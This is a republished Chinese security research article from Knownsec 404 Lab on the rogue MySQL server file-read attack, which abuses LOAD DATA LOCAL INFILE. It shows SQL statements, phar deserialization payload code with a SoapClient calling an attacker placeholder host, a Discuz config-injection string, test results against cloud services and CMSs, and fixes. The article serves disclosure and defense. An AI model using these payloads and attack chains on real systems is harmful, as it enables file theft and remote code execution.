CSS-T|MysqlClient任意文件讀取攻擊鏈拓展

作者:LoRexxar@知道創(chuàng)宇404實驗室 & Dawu@知道創(chuàng)宇404實驗室 

網(wǎng)站建設(shè)哪家好,找創(chuàng)新互聯(lián)建站!專注于網(wǎng)頁設(shè)計、網(wǎng)站建設(shè)、微信開發(fā)、成都微信小程序、集團企業(yè)網(wǎng)站建設(shè)等服務(wù)項目。為回饋新老客戶創(chuàng)新互聯(lián)還提供了瓦房店免費建站歡迎大家使用!

原文地址: https://paper.seebug.org/1112/

英文版本: https://paper.seebug.org/1113/

這應(yīng)該是一個很早以前就爆出來的漏洞,而我見到的時候是在TCTF2018 final線下賽的比賽中,是被 Dragon Sector 和 Cykor 用來非預(yù)期h5x0r's club這題的一個技巧。

http://russiansecurity.expert/2016/04/20/MySQL-connect-file-read/

在后來的研究中,和@Dawu的討論中頓時覺得這應(yīng)該是一個很有趣的trick,在逐漸追溯這個漏洞的過去的過程中,我漸漸發(fā)現(xiàn)這個問題作為mysql的一份feature存在了很多年,從13年就有人分享這個問題。

  • Database Honeypot by design (2013 8月 Presentation from Yuri Goltsev)
  • Rogue-MySql-Server Tool (2013年 9月 MySQL fake server to read files of connected clients)
  • Abusing MySQL LOCAL INFILE to read client files (2018年4月23日)

在圍繞這個漏洞的挖掘過程中,我們不斷地發(fā)現(xiàn)新的利用方式,所以將其中大部分的發(fā)現(xiàn)都總結(jié)并準備了議題在CSS上分享,下面讓我們來一步步分析。

Load data infile

load data infile是一個很特別的語法,熟悉注入或者經(jīng)常打CTF的朋友可能會對這個語法比較熟悉,在CTF中,我們經(jīng)常能遇到?jīng)]辦法load_file讀取文件的情況,這時候唯一有可能讀到文件的就是load data infile,一般我們常用的語句是這樣的:

load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

mysql server會讀取服務(wù)端的/etc/passwd然后將數(shù)據(jù)按照 '\n'分割插入表中,但現(xiàn)在這個語句同樣要求你有FILE權(quán)限,以及非local加載的語句也受到 secure_file_priv的限制

mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

如果我們修改一下語句,加入一個關(guān)鍵字local。

mysql> load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
Query OK, 11 rows affected, 11 warnings (0.01 sec)
Records: 11  Deleted: 0  Skipped: 0  Warnings: 11

加了local之后,這個語句就成了,讀取客戶端的文件發(fā)送到服務(wù)端,上面那個語句執(zhí)行結(jié)果如下

CSS-T | Mysql Client 任意文件讀取攻擊鏈拓展

很顯然,這個語句是不安全的,在mysql的文檔里也充分說明了這一點

https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html

在mysql文檔中的說到, 服務(wù)端可以要求客戶端讀取有可讀權(quán)限的任何文件。

mysql認為 客戶端不應(yīng)該連接到不可信的服務(wù)端。

CSS-T | Mysql Client 任意文件讀取攻擊鏈拓展

我們今天的這個問題,就是圍繞這個基礎(chǔ)展開的。

構(gòu)造惡意服務(wù)端

在思考明白了前面的問題之后,核心問題就成了,我們怎么構(gòu)造一個惡意的mysql服務(wù)端。

在搞清楚這個問題之前,我們需要研究一下mysql正常執(zhí)行鏈接和查詢的數(shù)據(jù)包結(jié)構(gòu)。

1、greeting包,服務(wù)端返回了banner,其中包含mysql的版本

CSS-T | Mysql Client 任意文件讀取攻擊鏈拓展

2、客戶端登錄請求

CSS-T | Mysql Client 任意文件讀取攻擊鏈拓展

3、然后是初始化查詢,這里因為是phpmyadmin所以初始化查詢比較多

CSS-T | Mysql Client 任意文件讀取攻擊鏈拓展

4、load file local

由于我的環(huán)境在windows下,所以這里讀取為 C:/Windows/win.ini,語句如下

load data local infile "C:/Windows/win.ini" into table test FIELDS TERMINATED BY '\n';

首先是客戶端發(fā)送查詢

CSS-T | Mysql Client 任意文件讀取攻擊鏈拓展

然后服務(wù)端返回了需要的路徑

CSS-T | Mysql Client 任意文件讀取攻擊鏈拓展

然后客戶端直接把內(nèi)容發(fā)送到了服務(wù)端

CSS-T | Mysql Client 任意文件讀取攻擊鏈拓展

看起來流程非常清楚,而且客戶端讀取文件的路徑并不是從客戶端指定的,而是發(fā)送到服務(wù)端,服務(wù)端制定的。

原本的查詢流程為

客戶端:我要把win.ini插入test表中
服務(wù)端:我要你的win.ini內(nèi)容
客戶端:win.ini的內(nèi)容如下....

假設(shè)服務(wù)端由我們控制,把一個正常的流程篡改成如下

客戶端:我要test表中的數(shù)據(jù)
服務(wù)端:我要你的win.ini內(nèi)容
客戶端:win.ini的內(nèi)容如下???

上面的第三句究竟會不會執(zhí)行呢?

讓我們回到 mysql的文檔中,文檔中有這么一句話:

CSS-T | Mysql Client 任意文件讀取攻擊鏈拓展

服務(wù)端可以在任何查詢語句后回復(fù)文件傳輸請求,也就是說我們的想法是成立的

在深入研究漏洞的過程中,不難發(fā)現(xiàn)這個漏洞是否成立在于Mysql client端的配置問題,而經(jīng)過一番研究,我發(fā)現(xiàn)在mysql登錄驗證的過程中,會發(fā)送客戶端的配置。

CSS-T | Mysql Client 任意文件讀取攻擊鏈拓展

在greeting包之后,客戶端就會鏈接并試圖登錄,同時數(shù)據(jù)包中就有關(guān)于是否允許使用load data local的配置,可以從這里直白的看出來客戶端是否存在這個問題(這里返回的客戶端配置不一定是準確的,后面會提到這個問題)。

poc

在想明白原理之后,構(gòu)建惡意服務(wù)端就變得不那么難了,流程很簡單 1.回復(fù)mysql client一個greeting包 2.等待client端發(fā)送一個查詢包 3.回復(fù)一個file transfer包

這里主要是構(gòu)造包格式的問題,可以跟著原文以及各種文檔完成上述的幾次查詢.

值得注意的是,原作者給出的poc并沒有適配所有的情況,部分mysql客戶端會在登陸成功之后發(fā)送ping包,如果沒有回復(fù)就會斷開連接。也有部分mysql client端對greeting包有較強的校驗,建議直接抓包按照真實包內(nèi)容來構(gòu)造。

  • https://dev.mysql.com/doc/internals/en/connection-phase-packets.html#packet-Protocol::Handshake
  • https://dev.mysql.com/doc/internals/en/com-query-response.html

原作者給出的poc

https://github.com/Gifts/Rogue-MySql-Server

演示

這里用了一臺騰訊云做服務(wù)端,客戶端使用phpmyadmin連接

CSS-T | Mysql Client 任意文件讀取攻擊鏈拓展

CSS-T | Mysql Client 任意文件讀取攻擊鏈拓展

我們成功讀取了文件。

影響范圍

底層應(yīng)用

在這個漏洞到底有什么影響的時候,我們首先必須知道到底有什么樣的客戶端受到這個漏洞的威脅。

  • mysql client (pwned)
  • php mysqli (pwned,fixed by 7.3.4)
  • php pdo (默認禁用)
  • python MySQLdb (pwned)
  • python mysqlclient (pwned)
  • java JDBC Driver (pwned,部分條件下默認禁用)
  • navicat (pwned)

探針

在深入挖掘這個漏洞的過程中,第一時間想到的利用方式就是mysql探針,但可惜的是,在測試了市面上的大部分探針后發(fā)現(xiàn)大部分的探針連接之后只接受了greeting包就斷開連接了,沒有任何查詢,盡職盡責。

  • 雅黑PHP探針 失敗
  • iprober2 探針 失敗
  • PHP探針 for LNMP一鍵安裝包 失敗
  • UPUPW PHP 探針 失敗
  • ...

云服務(wù)商 云數(shù)據(jù)庫 數(shù)據(jù)遷移服務(wù)

國內(nèi)

  • 騰訊云 DTS 失敗,禁用Load data local
  • 阿里云 RDS 數(shù)據(jù)遷移失敗,禁用Load data local
  • 華為云 RDS DRS服務(wù) 成功

CSS-T | Mysql Client 任意文件讀取攻擊鏈拓展

CSS-T | Mysql Client 任意文件讀取攻擊鏈拓展

  • 京東云 RDS不支持遠程遷移功能,分布式關(guān)系數(shù)據(jù)庫未開放
  • UCloud RDS不支持遠程遷移功能,分布式關(guān)系數(shù)據(jù)庫不能對外數(shù)據(jù)同步
  • QiNiu云 RDS不支持遠程遷移功能
  • 新睿云 RDS不支持遠程遷移功能
  • 網(wǎng)易云 RDS 外部實例遷移 成功

CSS-T | Mysql Client 任意文件讀取攻擊鏈拓展

  • 金山云 RDS DTS數(shù)據(jù)遷移 成功

CSS-T | Mysql Client 任意文件讀取攻擊鏈拓展

CSS-T | Mysql Client 任意文件讀取攻擊鏈拓展

  • 青云Cloud RDS 數(shù)據(jù)導(dǎo)入 失敗,禁用load data local
  • 百度Cloud RDS DTS 成功

CSS-T | Mysql Client 任意文件讀取攻擊鏈拓展

國際云服務(wù)商

  • Google could SQL數(shù)據(jù)庫遷移失敗,禁用Load data infile
  • AWS RDS DMS服務(wù) 成功

CSS-T | Mysql Client 任意文件讀取攻擊鏈拓展

CSS-T | Mysql Client 任意文件讀取攻擊鏈拓展

Excel online sql查詢

之前的一篇文章中提到過,在Excel中一般有這樣一個功能,從數(shù)據(jù)庫中同步數(shù)據(jù)到表格內(nèi),這樣一來就可以通過上述方式讀取文件。

受到這個思路的啟發(fā),我們想到可以找online的excel的這個功能,這樣就可以實現(xiàn)任意文件讀取了。

  • WPS failed(沒找到這個功能)
  • Microsoft excel failed(禁用了infile語句)
  • Google 表格 (原生沒有這個功能,但卻支持插件,下面主要說插件)
    • Supermetrics pwned

CSS-T | Mysql Client 任意文件讀取攻擊鏈拓展

CSS-T | Mysql Client 任意文件讀取攻擊鏈拓展

- Advanced CFO Solutions MySQL Query failed
- SeekWell failed
- Skyvia Query Gallery failed
- database Borwser failed
- Kloudio pwned

CSS-T | Mysql Client 任意文件讀取攻擊鏈拓展

拓展?2RCE!

拋開我們前面提的一些很特殊的場景下,我們也要討論一些這個漏洞在通用場景下的利用攻擊鏈。

既然是圍繞任意文件讀取來討論,那么最能直接想到的一定是有關(guān)配置文件的泄露所導(dǎo)致的漏洞了。

任意文件讀 with 配置文件泄露

在Discuz x3.4的配置中存在這樣兩個文件

config/config_ucenter.php
config/config_global.php

在dz的后臺,有一個ucenter的設(shè)置功能,這個功能中提供了ucenter的數(shù)據(jù)庫服務(wù)器配置功能,通過配置數(shù)據(jù)庫鏈接惡意服務(wù)器,可以實現(xiàn)任意文件讀取獲取配置信息。

CSS-T | Mysql Client 任意文件讀取攻擊鏈拓展

配置ucenter的訪問地址。

原地址: http://localhost:8086/upload/uc_server修改為: http://localhost:8086/upload/uc_server\');phpinfo();//

當我們獲得了authkey之后,我們可以通過admin的uid以及鹽來計算admin的cookie。然后用admin的cookie以及 UC_KEY來訪問即可生效

CSS-T | Mysql Client 任意文件讀取攻擊鏈拓展

任意文件讀 to 反序列化

2018年BlackHat大會上的Sam Thomas分享的File Operation Induced Unserialization via the “phar://” Stream Wrapper議題,原文 https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf  。

在該議題中提到,在PHP中存在一個叫做 Stream API,通過注冊拓展可以注冊相應(yīng)的偽協(xié)議,而phar這個拓展就注冊了 phar://這個stream wrapper。

在我們知道創(chuàng)宇404實驗室安全研究員seaii曾經(jīng)的研究( https://paper.seebug.org/680/)中表示,所有的文件函數(shù)都支持stream wrapper。

CSS-T | Mysql Client 任意文件讀取攻擊鏈拓展

深入到函數(shù)中,我們可以發(fā)現(xiàn),可以支持steam wrapper的原因是調(diào)用了

stream = php_stream_open_wrapper_ex(filename, "rb" ....);

從這里,我們再回到mysql的load file local語句中,在mysqli中,mysql的讀文件是通過php的函數(shù)實現(xiàn)的

https://github.com/php/php-src/blob/master/ext/mysqlnd/mysqlnd_loaddata.c#L43-L52
if (PG(open_basedir)) {
        if (php_check_open_basedir_ex(filename, 0) == -1) {
            strcpy(info->error_msg, "open_basedir restriction in effect. Unable to open file");
            info->error_no = CR_UNKNOWN_ERROR;
            DBG_RETURN(1);
        }
    }
    info->filename = filename;
    info->fd = php_stream_open_wrapper_ex((char *)filename, "r", 0, NULL, context);

也同樣調(diào)用了 php_stream_open_wrapper_ex函數(shù),也就是說,我們同樣可以通過讀取phar文件來觸發(fā)反序列化。

復(fù)現(xiàn)

首先需要一個生成一個phar

pphar.php<?phpclass A {
    public $s = '';
    public function __wakeup () {
        echo "pwned!!";
    }}@unlink("phar.phar");$phar = new Phar("phar.phar"); //后綴名必須為phar$phar->startBuffering();$phar->setStub("GIF89a "."<?php __HALT_COMPILER(); ?>"); //設(shè)置stub$o = new A();$phar->setMetadata($o); //將自定義的meta-data存入manifest$phar->addFromString("test.txt", "test"); //添加要壓縮的文件//簽名自動計算$phar->stopBuffering();?>

使用該文件生成一個phar.phar

然后我們模擬一次查詢

test.php<?phpclass A {
    public $s = '';
    public function __wakeup () {
        echo "pwned!!";
    }}$m = mysqli_init();mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);$s = mysqli_real_connect($m, '{evil_mysql_ip}', 'root', '123456', 'test', 3667);$p = mysqli_query($m, 'select 1;');// file_get_contents('phar://./phar.phar');

圖中我們只做了select 1查詢,但我們偽造的evil mysql server中驅(qū)使mysql client去做 load file local查詢,讀取了本地的

phar://./phar.phar

成功觸發(fā)反序列化

CSS-T | Mysql Client 任意文件讀取攻擊鏈拓展

反序列化 to RCE

當一個反序列化漏洞出現(xiàn)的時候,我們就需要從源代碼中去尋找合適的pop鏈,建立在pop鏈的利用基礎(chǔ)上,我們可以進一步的擴大反序列化漏洞的危害。

php序列化中常見的魔術(shù)方法有以下 - 當對象被創(chuàng)建的時候調(diào)用: construct - 當對象被銷毀的時候調(diào)用:destruct - 當對象被當作一個字符串使用時候調(diào)用: toString - 序列化對象之前就調(diào)用此方法(其返回需要是一個數(shù)組):sleep - 反序列化恢復(fù)對象之前就調(diào)用此方法: wakeup - 當調(diào)用對象中不存在的方法會自動調(diào)用此方法:call

配合與之相應(yīng)的pop鏈,我們就可以把反序列化轉(zhuǎn)化為RCE。

dedecms 后臺反序列化漏洞 to SSRF

dedecms 后臺,模塊管理,安裝UCenter模塊。開始配置

CSS-T | Mysql Client 任意文件讀取攻擊鏈拓展

首先需要找一個確定的UCenter服務(wù)端,可以通過找一個dz的站來做服務(wù)端。

CSS-T | Mysql Client 任意文件讀取攻擊鏈拓展

然后就會觸發(fā)任意文件讀取,當然,如果讀取文件為phar,則會觸發(fā)反序列化。

我們需要先生成相應(yīng)的phar

<?phpclass Control{
    var $tpl;
    // $a = new SoapClient(null,array('uri'=>'http://example.com:5555', 'location'=>'http://example.com:5555/aaa'));
    public $dsql;
    function __construct(){
        $this->dsql = new SoapClient(null,array('uri'=>'http://xxxx:5555', 'location'=>'http://xxxx:5555/aaa'));
    }
    function __destruct() {
        unset($this->tpl);
        $this->dsql->Close(TRUE);
    }}@unlink("dedecms.phar");$phar = new Phar("dedecms.phar");$phar->startBuffering();$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //設(shè)置stub,增加gif文件頭$o = new Control();$phar->setMetadata($o); //將自定義meta-data存入manifest$phar->addFromString("test.txt", "test"); //添加要壓縮的文件//簽名自動計算$phar->stopBuffering();?>

然后我們可以直接通過前臺上傳頭像來傳文件,或者直接后臺也有文件上傳接口,然后將rogue mysql server來讀取這個文件

phar://./dedecms.phar/test.txt

監(jiān)聽5555可以收到

CSS-T | Mysql Client 任意文件讀取攻擊鏈拓展

ssrf進一步可以攻擊redis等拓展攻擊面,就不多說了。

部分CMS測試結(jié)果

CMS名影響版本是否存在mysql任意文件讀取是否有可控的MySQL服務(wù)器設(shè)置是否有可控的反序列化是否可上傳phar補丁
phpmyadmin < 4.8.5 補丁
Dz 未修復(fù) None None
drupal None 否(使用PDO) 否(安裝) None
dedecms None 是(ucenter) 是(ssrf) None
ecshop None None
禪道 None 否(PDO) None None None
phpcms None 是(ssrf) None
帝國cms None None None
phpwind None 否(PDO) None None None
mediawiki None 否(后臺沒有修改mysql配置的方法) None
Z-Blog None 否(后臺沒有修改mysql配置的方法) None

修復(fù)方式

對于大多數(shù)mysql的客戶端來說,load file local是一個無用的語句,他的使用場景大多是用于傳輸數(shù)據(jù)或者上傳數(shù)據(jù)等。對于客戶端來說,可以直接關(guān)閉這個功能,并不會影響到正常的使用。

具體的關(guān)閉方式見文檔 -   https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html

對于不同服務(wù)端來說,這個配置都有不同的關(guān)法,對于JDBC來說,這個配置叫做 allowLoadLocalInfile

  • https://dev.mysql.com/doc/connector-j/5.1/en/connector-j-reference-configuration-properties.html

在php的mysqli和mysql兩種鏈接方式中,底層代碼直接決定了這個配置。

CSS-T | Mysql Client 任意文件讀取攻擊鏈拓展

這個配置是 PHP_INI_SYSTEM,在php的文檔中,這個配置意味著 Entry can be set in php.ini or httpd.conf。

所以只有在php.ini中修改 mysqli.allow_local_infile = Off就可以修復(fù)了。

在php7.3.4的更新中,mysqli中這個配置也被默認修改為關(guān)閉

https://github.com/php/php-src/commit/2eaabf06fc5a62104ecb597830b2852d71b0a111#diff-904fc143c31bb7dba64d1f37ce14a0f5

CSS-T | Mysql Client 任意文件讀取攻擊鏈拓展

可惜在不再更新的舊版本mysql5.6中,無論是mysql還是mysqli默認都為開啟狀態(tài)。

現(xiàn)在的代碼中也可以通過 mysqli_option,在鏈接前配置這個選項。

http://php.net/manual/zh/mysqli.options.php

CSS-T | Mysql Client 任意文件讀取攻擊鏈拓展

比較有趣的是,通過這種方式修復(fù),雖然禁用了 allow_local_infile,但是如果使用wireshark抓包卻發(fā)現(xiàn) allow_local_infile仍是啟動的(但是無效)。

在舊版本的phpmyadmin中,先執(zhí)行了 mysqli_real_connect,然后設(shè)置 mysql_option,這樣一來 allow_local_infile實際上被禁用了,但是在發(fā)起鏈接請求時中 allow_local_infile還沒有被禁用。

實際上是因為 mysqli_real_connect在執(zhí)行的時候,會初始化 allow_local_infile。在php代碼底層 mysqli_real_connect實際是執(zhí)行了 mysqli_common_connect。而在 mysqli_common_connect的代碼中,設(shè)置了一次 allow_local_infile。

https://github.com/php/php-src/blob/ca8e2abb8e21b65a762815504d1fb3f20b7b45bc/ext/mysqli/mysqli_nonapi.c#L251

CSS-T | Mysql Client 任意文件讀取攻擊鏈拓展

如果在 mysqli_real_connect之前設(shè)置 mysql_option,其 allow_local_infile的配置會被覆蓋重寫,其修改就會無效。

phpmyadmin在1月22日也正是通過交換兩個函數(shù)的相對位置來修復(fù)了該漏洞。 https://github.com/phpmyadmin/phpmyadmin/commit/c5e01f84ad48c5c626001cb92d7a95500920a900#diff-cd5e76ab4a78468a1016435eed49f79f

說在最后

這是一個針對mysql feature的攻擊模式,思路非常有趣,就目前而言在mysql層面沒法修復(fù),只有在客戶端關(guān)閉了這個配置才能避免印象。雖然作為攻擊面并不是很廣泛,但可能針對一些特殊場景的時候,可以特別有效的將一個正常的功能轉(zhuǎn)化為任意文件讀取,在拓展攻擊面上非常的有效。

詳細的攻擊場景這里就不做假設(shè)了,危害還是比較大的。

REF

  • http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/
  • https://lightless.me/archives/read-mysql-client-file.html
  • https://dev.mysql.com/doc/refman/8.0/en/load-data.html
  • https://dev.mysql.com/doc/refman/8.0/en/load-data.html

當前名稱:CSS-T|MysqlClient任意文件讀取攻擊鏈拓展
URL鏈接:http://muchs.cn/article44/gppghe.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供云服務(wù)器、做網(wǎng)站手機網(wǎng)站建設(shè)、企業(yè)網(wǎng)站制作微信公眾號、網(wǎng)站排名

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)

營銷型網(wǎng)站建設(shè)